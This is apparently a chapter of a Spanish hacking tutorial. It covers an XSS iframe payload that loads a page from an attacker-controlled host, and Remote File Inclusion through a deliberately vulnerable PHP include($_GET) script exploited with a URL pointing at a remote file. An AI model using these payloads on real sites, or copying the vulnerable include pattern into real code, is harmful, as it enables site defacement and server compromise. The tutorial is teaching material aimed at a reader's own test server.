Capítulo 3: Introduccion a Remote File Inclusion.Hola, hoy vais a aprender a explotar la vulnerabilidad Remote File Inclusion (RFI), esta vulnerabilidad no afecta solamente a la seguridad de los usuarios sino también la del servidor ya que nos permite modificar archivos de la pagina, pero antes pondré la solución al ejercicio del capítulo anterior, se que era demasiado fácil pero tengo muy poca imanación xD.
Como ya he dicho antes no tenia ninguna dificultad. La web decía que el código que habías escrito era invisible, es cierto, el código estaba dentro de una caja de texto de tipo hidden, así:
Lo que has escrito no se puede ver...
<input type="hidden" value="texto escrito">
Ahora solo tenemos que cerrar la caja de texto "invisible" y el texto quedara fuera de ella. Antes de pasar al RFI quiero decir una cosa sobre el XSS que se me olvido decir en el anterior capitulo.
En algunas webs, sobretodo en foros y libros de visitas, no se permite usar la etiqueta <script></script> pero podemos hacer el uso de otras etiquetas para incluir código, como la etiqueta <iframe> que permite contener otra web dentro de ella. Podemos hacer un código como este:
<iframe src="http://www.miweb.com/codigomalicioso.html"></iframe>
Ahora que ya sabemos lo mas básico sobre XSS pasaremos a aprender a explotar la vulnerabilidad RFI. Estos son los materiales y conocimientos necesarios:
1- Esta vez si necesitaremos un servidor web con php.
2- Es lógico que también es necesario saber php.
3- Y por supuesto también hay que tener ganas de aprender.
Esto es todo, empecemos! Esta vulnerabilidad como su nombre indica se trata de incluir archivos remotos en documentos hechos en php. La función "include();" de php permite incluir archivos dentro del mismo documento como si fuesen parte del texto, esta función se puede usar de dos formas:
Forma 1----> include("web.html"); Así el documento no seria vulnerable porque no permite cambiar el archivo a incluir.
Forma 2----> include($variable); Esta es la forma vulnerable, ya que podemos modificar la variable mediante la URL.
Esta vulnerabilidad se suele encontrar en webs que usan esta función en los enlaces. Por ejemplo imaginemos una web que muestra un la publicidad, el logo, la parte donde se muestra el contenido principal y un menú. En el menú hay enlaces para moverse por el interior de la web, pero estos enlaces no llevan a otra web lo que hacen es que cambian el valor de la variable de "include($var);", nosotros podemos modificar ese valor como queramos y incluir dentro un documento con el código que queramos.
Si tenéis server web con php instalado usar este código para hacer pruebas (no puedo subir el codigo a la web de pruebas porque mediante esta vulnerabilidad podríais borrar los demás ejemplos o incluir algún código malicioso)
Código de index.html
<A HREF="rfi.php?cont=hola.html">Hola!
</A> <A HREF="rfi.php?cont=adios.html">Adios!
</A>
No pondre el codigo de "hola.html" ni el de "adios.html" porque puede ser cualquier tonteria sin inportancia.
Codigo de rfi.php
<?php
$var = $_GET["cont"];
include($var);
?>
Ahora si queremos incluir un archivo solo tenemos que hacer:
http://www.webvuln.es/fri.php?cont=http://www.miweb.com/code.txt
Tehabras dado cuenta que hemos incluido un archivo .txt, eso es porque si incluimos un archivo .php se ejecutaria en el server onde esta el archivo y no en el de la web vulnerable, así que podríamos incluir un archivo de esta formaí:
code.txt:
<?php
echo "<h1>Vulnerable a RFI</h1>";
?>
Aquí acabamos por hoy, en el próximo capitulo veremos como crear una shell remota con esta vulnerabilidad. Ejercicio:
Ya he dicho antes que no podía subir las pruebas de RFI, así que como ejercicio les dejo que intenten modificar el index de la prueba que hemos hecho antes aprovechandose del la Vulnerabilidad. En el siguiente capitulo os dire la respuesta.
Saludos y hasta la proxima!